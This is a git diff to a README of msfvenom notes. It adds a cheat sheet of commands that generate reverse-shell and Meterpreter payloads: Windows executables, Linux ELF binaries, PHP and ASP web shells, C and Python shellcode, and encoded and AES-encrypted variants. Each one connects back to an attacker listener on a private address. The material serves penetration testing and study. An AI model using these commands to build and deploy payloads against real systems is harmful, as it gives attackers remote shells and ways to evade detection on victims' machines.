diff --git a/README.md b/README.md index 1d2545b..aeab2e1 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # MSFVenom Notes ## Table of Contents -1. [Usage](#usage) +1. [Examples](#examples) +2. [Usage](#usage) 1. [Short Help](#short-help) 2. [Man Page](#man-page) 3. [Payloads](#payloads) @@ -9,8 +10,43 @@ 6. [Formats](#formats) 7. [Encryptions](#encryption) 8. [Encoders](#encoders) -2. [Links / Docs / Guides](#links) -3. [Copying / License](#copying) +3. [Links / Docs / Guides](#links) +4. [Copying / License](#copying) +## Examples +Simple 64-bit Windows Reverse TCP +`msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe` + +Simple Linux (ELF) Reverse TCP Meterpreter payload +`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf` + +Web Payload (PHP) Reverse TCP Meterpreter +`msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.php` + +Web Payload (ASP) Reverse TCP Meterpreter +`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp > shell.asp` + +Encode (shika_ga_nai) Windows 64-bit Meterpreter reverse TCP +`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x64/shikata_ga_nai -i 5 -f exe -o encoded_shell.exe` + +Filter Bad Chars (nullbyte (\x00), newline (\x0a), carriage return (\x0d)) Windows reverse TCP Meterpreter +`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00\x0a\x0d' -f exe -o clean_shell.exe` + +Output C Style Shellcode +`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c` + +Output Python Style Shellcode +`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f py -v payload` + +Encrypt (Auto Key and IV) +note: 32 random bhytes is 256 bits and 16 bytes is the proper size of IV +```bash +msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp \ + LHOST=192.168.1.50 LPORT=4444 \ + --encrypt aes256 \ + --encrypt-key "`openssl rand -hex 16`" \ + --encrypt-iv "`openssl rand -hex 8`" \ + -f powershell -o file.ps1 +``` ## Usage ### Short Help ```